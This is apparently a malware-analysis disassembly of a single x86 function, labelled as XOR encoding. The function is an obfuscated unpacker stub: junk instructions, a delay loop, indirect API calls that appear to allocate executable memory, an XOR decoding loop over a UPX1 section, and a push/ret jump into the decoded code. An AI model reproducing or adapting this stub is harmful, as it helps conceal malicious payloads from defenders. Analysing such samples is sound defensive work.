Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x67b4d52c
sub edi, 0xe5f564e8
add edx, edx
popal
not edx
mov edi, edx
mov edx, 0xeac82fc
mov esi, 0
mov ecx, edi
mov eax, edx
sub eax, edx
add edx, 0x54e8b8c0
mov ebx, ecx
sub edx, eax
sub eax, edx
mov edi, ebx
or eax, eax
and eax, edx
add esi, 1
add edx, edx
add edx, 0xbad8245e
cmp esi, 0x10094f9
jne 0xa789c9
inc eax
add eax, 0x147e30d5
mov edi, edx
add edi, 1
mov edi, 0x4d3ab91d
mov ecx, 0xa78796
and eax, edx
sub edx, edi
mov esi, 0xa7898a
not edi
inc edx
mov ebx, dword [ecx]
sub edi, edx
add edi, edx
and ebx, 0xff
inc edx
mov edi, 0x236a9708
xor dword [esi], ebx
sub edi, eax
sub edi, eax
add esi, 1
sub eax, edi
add edx, 0x6e104d4c
inc ecx
mov eax, 0xe69f719f
inc edx
add edi, eax
cmp esi, entry0
jl 0xa78a20
mov eax, 0xd15642e8
add eax, 0xb0755680
add edi, eax
add edi, edi
mov ecx, ebx
mov ecx, 0x1f6eebc
add ecx, ebx
mov edx, 0xa7898e
and ecx, esi
sub ebx, 1
not ecx
mov edx, dword [edx]
mov ecx, 0x2b226968
mov ecx, 0x38ea1b4d
sub edi, 0xd86601fe
mov edx, dword [edx]
inc esi
add ebx, 0x1d5b6571
add edi, 0xc873d638
push edx
not edi
or esi, ebx
mov ecx, ebx
mov edx, 0xa7898a
add ecx, 0x45662078
dec edi
mov edx, dword [edx]
add ecx, 0x7eec080c
add esi, 0xe9c53a04
add ebx, 0x530b5041
mov edx, dword [edx]
mov esi, 0x1f64f154
and esi, esi
push 0xa78992
sub ebx, edi
inc edi
add ebx, esi
call edx
add ecx, esi
sub ebx, ecx
mov ecx, esi
pop edx
not edi
sub esi, edi
sub esi, ebx
push 0xa7899f
not edi
dec edi
sub esp, 4
mov dword [esp], eax
or edi, esi
mov esi, 0xfe1e4f52
sub ecx, esi
call edx
sub esi, ecx
mov esi, ecx
push 0x40
not ecx
add esi, esi
and esi, edi
push 0x3000
sub edi, 1
and edi, edi
push 0x20000a2b
mov esi, ecx
add ecx, edi
push 0
sub ecx, 0x1459d8d2
mov ecx, 0xccfc79ea
sub ecx, 0x769a2433
call eax
add edi, 0xdbac3d2f
inc esi
add eax, 0x20000998
not ecx
mov ecx, edi
mov edx, 0x21f31c8e
inc ecx
sub ecx, ebx
mov dword [eax], edx
add esi, 1
inc esi
mov edx, dword [eax]
or edi, esi
sub esi, ebx
not edi
cmp edx, 0x21f31c8e
je 0xa78b7b
mov ecx, 0
mov bl, byte [ecx]
or ecx, ebx
dec ebx
sub edi, ecx
and ebx, esi
dec edx
mov edi, 0xd18a7403
mov ebx, section.UPX1
and edx, edi
inc edx
or edi, edi
mov esi, 0xa78795
mov edx, edi
inc edx
mov edx, 0xe1f7cd74
mov ecx, 0
or edi, edi
inc edi
mov eax, 0xa78796
sub edx, 0x5571725c
add edx, 0x18790dc5
lea eax, [eax + ecx]
not edi
add edi, edi
mov eax, dword [eax]
add edx, edi
mov edi, edx
and eax, 0xff
not edx
add edx, edi
and edx, edx
inc ecx
or edx, edx
sub edx, 0x7b42244f
cmp ecx, 0x1f4
jne 0xa78be7
mov ecx, 0
mov edi, edx
and edi, edi
add edi, edx
mov edx, 0xf68f77f4
mov edx, 0x679250d1
xor dword [ebx], eax
mov edi, edx
sub edx, 0x9b835aaf
add edi, 0xcc35f22b
add ebx, 2
not edx
mov edi, edx
or edi, edx
cmp ebx, esi
jl 0xa78ba7
inc edx
mov edx, edi
mov edi, 0x8a8210e0
or edi, edx
sub edx, 0xa5afca50
and edi, edx
mov eax, section.UPX1
sub edi, 0x1015aa9c
add edx, edx
mov esi, section.UPX1
mov edi, edx
sub edi, 0xa249f755
mov ebx, 0xa78795
mov edi, 0xb8246781
add edx, edx
mov ecx, 0
add edi, edi
add edi, 0x85277c6c
mov edx, edi
mov cl, byte [esi]
inc edx
dec edi
inc edx
mov byte [eax], cl
mov edx, 0x3584ef54
add edx, edi
or edi, edx
inc eax
not edi
sub edx, edi
add esi, 2
and edi, edx
sub edx, 0xf42d2929
mov edx, edi
cmp esi, ebx
jle 0xa78c62
inc edi
sub edx, edi
sub edx, 1
add edi, edx
sub edi, edx
push 0x8dc6a0
and edx, edi
or edx, edi
add edx, 0xca40ac1c
ret